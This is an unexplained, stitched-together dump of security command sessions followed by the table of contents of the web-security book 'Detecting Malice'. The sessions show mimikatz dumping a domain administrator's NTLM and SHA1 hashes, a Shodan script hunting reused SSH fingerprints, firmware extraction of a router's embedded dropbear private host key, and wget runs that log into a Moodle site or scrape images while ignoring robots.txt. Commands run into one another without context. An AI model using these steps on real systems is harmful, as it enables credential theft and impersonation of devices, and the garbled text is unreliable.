runas /user:microsoft.com\administrator /netonly cmd.exemimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonPasswords full
Authentication Id : 0 ; 3420125 (00000000:002c38b2)
Session : NewCredentials from 0
User Name : usuario
Domain : dominio
SID : S-1-5-21-2342468007-2769232512-6969471351-1000
msv :
[00000003] Primary
* Username : administrator
* Domain : microsoft.com
* NTLM : d139627ea1a54be9b04f2158a4d10b93
* SHA1 : 2c19cfd8f7a112f29a7183e8ed4db7e68e714049
tspkg :
wdigest :
* Username : administrator
* Domain : microsoft.com
* Password : falsa
kerberos :
* Username : administrator
* Domain : microsoft.com
* Password : falsa
ssp :
credman :
import shodan
api = shodan.Shodan(YOUR_API_KEY)
# Get the top 1,000 duplicated SSH fingerprints
results = api.count('port:22', facets=[('ssh.fingerprint', 1000)])
for facet in results['facets']['ssh.fingerprint']:
print '%s --> %s' % (facet['value'], facet['count'])
SSH-2.0-dropbear_0.46
Key type: ssh-rsa
Key: AAAAB3NzaC1yc2EAAAADAQABAAAAgwCKj10BLi11/oSbukFArKJZTXvBvw+AUGfie6fdE7psCNwC
LM5bYnJgjQZMP/VOhJkxkA539e2mM4fW9U4ECAUwgvlF9AZGhcmn0kF0jIjMUDgCV8kFIS85OuBU
/ayyswdYp6bxp3zn0tGAh0Ty8ikf7CgWU5c+PCbpygbBxMDfZM9P
Fingerprint: dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0
root@kali:~/firmwares# file GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img
GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img: data
root@kali:~/firmwares# binwalk GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624 0x1A4900 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes, 1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013root@kali:~# binwalk --dd='squashfs:squashfs' GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624 0x1A4900 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes, 1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013
root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# file 1A4900.squashfs
1A4900.squashfs: Squashfs filesystem, little endian, version 4.0, 5080877 bytes, 1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013apt-get install liblzo2-dev
git clone https://github.com/devttyS0/sasquatch
make
root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# ./sasquatch/sasquatch 1A4900.squashfs
SquashFS version [4.0] / inode count [1142] suggests a SquashFS image of the same endianess
Parallel unsquashfs: Using 1 processor
Trying to decompress using default lzma decompressor...
Successfully decompressed with default lzma decompressor
1083 inodes (1113 blocks) to write
[=============================================================\] 1113/1113 100%
created 679 files
created 59 directories
created 123 symlinks
created 281 devices
created 0 fifosroot@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# cd squashfs-root/etc/dropbear/
root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# ls -las
total 16
4 drwxr-xr-x 2 594 594 4096 Oct 24 2013 .
4 drwxr-xr-x 10 594 594 4096 Oct 24 2013 ..
4 -rwxr-xr-x 1 594 594 459 Oct 24 2013 dropbear_dss_host_key
4 -rwxr-xr-x 1 594 594 427 Oct 24 2013 dropbear_rsa_host_keyroot@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# dropbearkey -y -f dropbear_rsa_host_key
Public key portion is:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCAmPVBs6DX2/2G6NcLwFI6jP055kbQzxGNNaYngPhR3TT9MMiGnR2waCQYrZq0n7D+RKu9tEiYU05tPiaMqm5z4qHq2OePKIL4jFhcTJk8p0yz1IpPp9FJjvZ6Daw4Mvr+r+RNNnSTn7Iq7bIxWyNgXnQc7Lx7IPmm8JDqskFEtOC7 root@kali
Fingerprint: md5 63:05:01:4f:cd:09:6d:ad:ed:95:ae:89:19:2c:b8:bc
wget --load-cookies my-cookies.txt \
--post-data='username=YOUR_USERNAME&password=YOUR_PASSWORD&testcookies=1'
--save-cookies=my-cookies.txt --keep-session-cookies http://moodlesite.com/wget --load-cookies my-cookies.txt --keep-session-cookies --save-cookies my-cookies.txt\
--referer=http://moodlesite.com/login/index.php -m -E -k
--reject logout*,*cal_m*,*cal_y*,post.php*,*subscribe*,help.php*,enrol.php*
--exclude-directories=/calendar http://moodlesite.com/course/view.php?id=XXXwget -r -l 0 -U Mozilla -t 1 -nd -D playboy.com -A jpg,jpeg,gif,png "http://www.playboy.com" -e robots=off
Detecting Malice: Preface
User Disposition
Deducing Without Knowing
Book Overview
Who Should Read This Book?
Why Now?
A Note on Style
Working Without a Silver Bullet
Special Thanks
Chapter 1 - DNS and TCP: The Foundations of Application Security
In the Beginning Was DNS
Same-Origin Policy and DNS Rebinding
DNS Zone Transfers and Updates
DNS Enumeration
TCP/IP
Spoofing and the Three-Way Handshake
Passive OS Fingerprinting with pOf
TCP Timing Analysis
Network DoS and DDoS Attacks
Attacks Against DNS
TCP DoS
Low Bandwidth DoS
Using DoS As Self-Defense
Motives for DoS Attacks
DoS Conspiracies
Port Scanning
With That Out of the Way...
Chapter 2 - IP Address Forensics
What Can an IP Address Tell You?
Reverse DNS Resolution
WHOIS Database
Geolocation
Real-Time Block Lists and IP Address Reputation
Related IP Addresses
When IP Address Is A Server
Web Servers as Clients
Dealing with Virtual Hosts
Proxies and Their Impact on IP Address Forensics
Network-Level Proxies
HTTP Proxies
AOL Proxies
Anonymization Services
Tor Onion Routing
Obscure Ways to Hide IP Address
IP Address Forensics
To Block or Not?
Chapter 3 - Time
Traffic Patterns
Event Correlation
Daylight Savings
Forensics and Time Synchronization
Humans and Physical Limitations
Gold Farming
CAPTCHA Breaking
Holidays and Prime Time
Risk Mitigation Using Time Locks
The Future is a Fog
Chapter 4 - Request Methods and HTTP Protocols
Request Methods
GET
POST
PUT and DELETE
OPTIONS
CONNECT
HEAD
TRACE
Invalid Request Methods
Random Binary Request Methods
Lowercase Method Names
Extraneous White Space on the Request Line
HTTP Protocols
Missing Protocol Information
HTTP 1.0 vs. HTTP 1.1
Invalid Protocols and Version Numbers
Newlines and Carriage Returns
Summary
Chapter 5 - Referring URL
Referer Header
Information Leakage through Referer
Disclosing Too Much
Spot the Phony Referring URL
Third-Party Content Referring URL Disclosure
What Lurks in Your Logs
Referer and Search Engines
Language, Location, and the Politics That Comes With It
Google Dorks
Natural Search Strings
Vanity Search
Black Hat Search Engine Marketing and Optimization
Referring URL Availability
Direct Page Access
Meta Refresh
Links from SSL/TLS Sites
Links from Local Pages
Users' Privacy Concerns
Determining Why Referer Isn't There
Referer Reliability
Redirection
Impact of Cross-Site Request Forgery
Is the Referring URL a Fake?
Referral Spam
Last thoughts
Chapter 6 - Request URL
What Does A Typical HTTP Request Look Like?
Watching For Things That Don’t Belong
Domain Name in the Request Field
Proxy Access Attempts
Anchor Identifiers
Common Request URL Attacks
Remote File Inclusion
SQL Injection
HTTP Response Splitting
NUL Byte Injection
Pipes and System Command Execution
Cross-Site Scripting
Web Server Fingerprinting
Invalid URL Encoding
Well-Known Server Files
Easter Eggs
Admin Directories
Automated Application Discovery
Well-Known Files
Crossdomain.xml
Robots.txt
Google Sitemaps
Summary
Chapter 7 - User-Agent Identification
What is in a User-Agent Header?
Malware and Plugin Indicators
Software Versions and Patch Levels
User-Agent Spoofing
Cross Checking User-Agent against Other Headers
User-Agent Spam
Indirect Access Services
Google Translate
Traces of Application Security Tools
Common User-Agent Attacks
Search Engine Impersonation
Summary
Chapter 8 - Request Header Anomalies
Hostname
Requests Missing Host Header
Mixed-Case Hostnames in Host and Referring URL Headers
Cookies
Cookie Abuse
Cookie Fingerprinting
Cross Site Cooking
Assorted Request Header Anomalies
Expect Header XSS
Headers Sent by Application Vulnerability Scanners
Cache Control Headers
Accept CSRF Deterrent
Language and Character Set Headers
Dash Dash Dash
From Robot Identification
Content-Type Mistakes
Common Mobile Phone Request Headers
X-Moz Prefetching
Summary
Chapter 9 - Embedded Content
Embedded Styles
Detecting Robots
Detecting CSRF Attacks
Embedded JavaScript
Embedded Objects
Request Order
Cookie Stuffing
Impact of Content Delivery Networks on Security
Asset File Name Versioning
Summary
Chapter 10 - Attacks Against Site Functionality
Attacks Against Sign-In
Brute-Force Attacks Against Sign-In
Phishing Attacks
Registration
Username Choice
Brute Force Attacks Against Registration
Account Pharming
What to Learn from the Registration Data
Fun With Passwords
Forgot Password
Password DoS Attacks
Don’t Show Anyone Their Passwords
User to User Communication
Summary
Chapter 11 - History
Our Past
History Repeats Itself
Cookies
JavaScript Database
Internet Explorer Persistence
Flash Cookies
CSS History
Refresh
Same Page, Same IP, Different Headers
Cache and Translation Services
Uniqueness
DNS Pinning Part Two
Biometrics
Breakout Fraud
Summary
Chapter 12 - Denial of Service
What Are Denial Of Service Attacks?
Distributed DoS Attacks
My First Denial of Service Lesson
Request Flooding
Identifying Reaction Strategies
Database DoS
Targeting Search Facilities
Unusual DoS Vectors
Banner Advertising DoS
Chargeback DoS
The Great Firewall of China
Email Blacklisting
Dealing With Denial Of Service Attacks
Detection
Mitigation
Summary
Chapter 13 - Rate of Movement
Rates
Timing Differences
CAPTCHAs
Click Fraud
Warhol or Flash Worm
Samy Worm
Inverse Waterfall
Pornography Duration
Repetition
Scrapers
Spiderweb
Summary
Chapter 14 - Ports, Services, APIs, Protocols and 3rd Parties
Ports, Services, APIs, Protocols, 3rd Parties, oh my…
SSL and Man in the middle Attacks
Performance
SSL/TLS Abuse
FTP
Webmail Compromise
Third Party APIs and Web Services
2nd Factor Authentication and Federation
Other Ports and Services
Summary
Chapter 15 - Browser Sniffing
Browser Detection
Black Dragon, Master Reconnaissance Tool and BeEF
Java Internal IP Address
MIME Encoding and MIME Sniffing
Windows Media Player “Super Cookie”
Virtual Machines, Machine Fingerprinting and Applications
Monkey See Browser Fingerprinting Software – Monkey Do Malware
Malware and Machine Fingerprinting Value
Unmasking Anonymous Users
Java Sockets
De-cloaking Techniques
Persistence, Cookies and Flash Cookies Redux
Additional Browser Fingerprinting Techniques
Summary
Chapter 16 - Uploaded Content
Content
Images
Hashing
Image Watermarking
Image Steganography
EXIF Data In Images
GDI+ Exploit
Warez
Child Pornography
Copyrights and Nefarious Imagery
Sharm el Sheikh Case Study
Imagecrash
Text
Text Stenography
Blog and Comment Spam
Power of the Herd
Profane Language
Localization and Internationalization
HTML
Summary
Chapter 17 - Loss Prevention
Lessons From The Offline World
Subliminal Imagery
Security Badges
Prevention Through Fuzzy Matching
Manual Fraud Analysis
Honeytokens
Summary
Chapter 18 - Wrapup
Mood Ring
Insanity
Blocking and the 4th Wall Problem
Booby Trapping Your Application
Heuristics Age
Know Thy Enemy
Race, Sex, Religion
Profiling
Ethnographic Landscape
Calculated Risks
Correlation and Causality
Conclusion
About Robert Hansen
